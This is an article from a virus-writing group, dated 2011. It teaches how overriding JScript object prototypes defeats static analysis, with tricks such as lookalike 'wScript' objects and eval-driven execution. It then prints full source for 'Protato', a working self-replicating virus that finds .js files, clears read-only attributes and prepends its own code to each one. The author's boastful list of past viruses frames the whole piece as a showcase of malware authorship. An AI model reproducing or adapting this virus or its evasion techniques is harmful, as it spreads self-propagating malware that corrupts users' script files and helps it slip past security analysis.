JScript Prototypes roy g biv / defjam -= defjam =- since 1992 bringing you the viruses of tomorrow today! About the author: Former DOS/Win16 virus writer, author of several virus families, including Ginger (see Coderz #1 zine for terrible buggy example, contact me for better sources ;), and Virus Bulletin 9/95 for a description of what they called Rainbow. Co-author of world's first virus using circular partition trick (Orsam, coded with Prototype in 1993). Designer of world's first XMS swapping virus (John Galt, coded by RT Fishel in 1995, only 30 bytes stub, the rest is swapped out). Author of world's first virus using Thread Local Storage for replication (Shrug, see Virus Bulletin 6/02 for a description, but they call it Chiton), world's first virus using Visual Basic 5/6 language extensions for replication (OU812), world's first Native executable virus (Chthon), world's first virus using process co-operation to prevent termination (Gemini, see Virus Bulletin 9/02 for a description), world's first virus using polymorphic SMTP headers (JunkMail, see Virus Bulletin 11/02 for a description), world's first viruses that can convert any data files to infectable objects (Pretext), world's first 32/64-bit parasitic EPO .NET virus (Croissant, see Virus Bulletin 11/04 for a description, but they call it Impanate), world's first virus using self-executing HTML (JunkHTMaiL, see Virus Bulletin 7/03 for a description), world's first virus for Win64 on Intel Itanium (Shrug, see Virus Bulletin 6/04 for a description, but they call it Rugrat), world's first virus for Win64 on AMD AMD64 (Shrug), world's first cross-infecting virus for Intel IA32 and AMD AMD64 (Shrug), world's first viruses that infect Office applications and script files using the same code (Macaroni, see Virus Bulletin 11/05 for a description, but they call it Macar), world's first viruses that can infect both VBS and JScript using the same code (ACDC, see Virus Bulletin 11/05 for a description, but they call it Cada), world's first virus that can infect CHM files (Charm, see Virus Bulletin 10/06 for a description, but they call it Chamb), world's first IDA plugin virus (Hidan, see Virus Bulletin 3/07 for a description), world's first viruses that use the Microsoft Script Encoder to dynamically encrypt the virus body (Screed), world's first virus for StarOffice and OpenOffice (Starbucks), world's first virus IDC virus (ID10TiC), world's first polymorphic virus for Win64 on AMD AMD64 (Boundary, see Virus Bulletin 12/06 for a description, but they call it Bounds), world's first virus that can infect Intel-format and PowerPC-format Mach-O files (MachoMan, see Virus Bulletin 01/07 for a description, but they call it Macarena), world's first virus that uses Unicode escapes to dynamically encrypt the virus body, world's first self-executing PIF (Spiffy), world's first self-executing LNK (WeakLNK), world's first virus that uses virtual code (Relock, see Virus Bulletin 03/10 for a description, but they call it Lerock), world's first virus to use FSAVE for instruction reordering (Mimix, see Virus Bulletin 01/10 for a description, but they call it Fooper), world's first virus for ODbgScript (Volly), world's first Hiew plugin virus (Hiewg), and world's first virus that uses fake BOMs (Bombastic). Author of various retrovirus articles (eg see Vlad #7 for the strings that make your code invisible to TBScan). This is my ninth virus for JScript. It is the world's first virus that uses JScript prototypes to run itself. What is a prototype? JScript object methods use function prototypes which are the default handler when the method is called. We can create new methods for some objects by declaring a prototype with the name that we want to use. We can also change the handler for existing methods in some objects by declaring a prototype with the same name as that method. Which objects? We can add and change any method for these objects: Array, Boolean, Date, Function, Number, Object, String. That allows us to make a big problem for static analysis, because the method call might run something entirely other than before. How to change the prototype? There are two ways that we can change it. One way is to declare a function that will run. The function can be anonymous, and it can do anything that the script can do normally. It looks like this: Object.prototype.bar=function(){WScript.echo("Oops!")} Here I use "object" as the object, and create a new method called "bar" which will display the message whenever the method is called. To call the method, we have to create a new object first, and the new object will have the changes, like this: foo=new Object Then we call the method as usual: foo.bar() and the message will display. We can change an existing method in the same way, like this: Date.prototype.getYear=function(){WScript.echo("Oops!")} Then we create the object and call the method as usual, like this: foo=new Date foo.getYear() It looks like it would return the current year, but instead it displays the message. Of course, you can pass parameters to the function if you declare them to the function, like this: String.prototype.fromCharCode=function(r){WScript.echo(r)} foo=new String foo.fromCharCode("Oops!") You can also pass more variables than your function accepts, and they will be ignored, like this: Boolean.prototype.toString=function(r){WScript.echo(r)} foo=new Boolean foo.toString("Oops!", "unused") That helps us to make more problems for static analysis, because it is hard to see which parameters are used. The other way to change the prototype is to include the code without the function declaration. Then the code will be called during object construction and no need to call the prototype at all! Array.prototype.r=WScript.echo("Oops!") new Array and the message will display. This can execute only one command, though, but if you use "eval" there, and pass your code as parameter, then you can run as much as you want, like this: Array.prototype.r=eval foo = new Array foo.r("WScript.echo('Oops!')") Another thing that we can do is to create a new object with a similar name to another object, and create a prototype with the same name as a "safe" method. One obvious choice for this is WScript. Since JScript is case-sensitive, we can create an object called "Wscript" or "wScript" which looks similar if not paying attention. Then we can create the "echo" prototype, and it looks like the code will print a message, but it's not the right one, like this: Date.prototype.echo={WScript.echo("Oops!")} wScript=new Date wScript.echo("unused") Best of all, the code that is assigned to the prototype can be read back, so we do not need to carry our own source code, like this: Boolean.prototype.toString=function(r){WScript.echo(r)} foo = new Boolean WScript.echo(foo.toString) will display "function(r){WScript.echo(r)}". Let's see the code. Date.prototype.r=function() { /*Protato - roy g biv 22/02/11*/ a=new ActiveXObject("scripting.filesystemobject") for(b=new Enumerator(a.getfolder(".").files);!b.atEnd();b.moveNext()) //demo version, current directory only { if(a.getextensionname(c=b.item()).toLowerCase()=="js") try { d=a.opentextfile(c) //open potential victim e=d.read(1) //read first character, keep for later if(e!="D") //check for infection marker try { e+=d.readall() //read entire file f=c.attributes //save attributes c.attributes=0 //remove any read-only attribute g=a.createtextfile(c) //open file for writing g.write("Date.prototype.r="+r.r+";r=new Date;r.r();"+e) //prepend to file g.close() //close file (write mode) c.attributes=f //restore attributes } catch(z) { } d.close() //close file (read mode) } catch(z) { } } } r=new Date r.r() Greets to friendly people (A-Z): Active - Benny - herm1t - hh86 - izee - jqwerty - Malum - Obleak - Prototype - Ratter - Ronin - RT Fishel - sars - SPTH - The Gingerbread Man - Ultras - uNdErX - Vallez - Vecna - Whitehead rgb/defjam feb 2011 iam_rgb@hotmail.com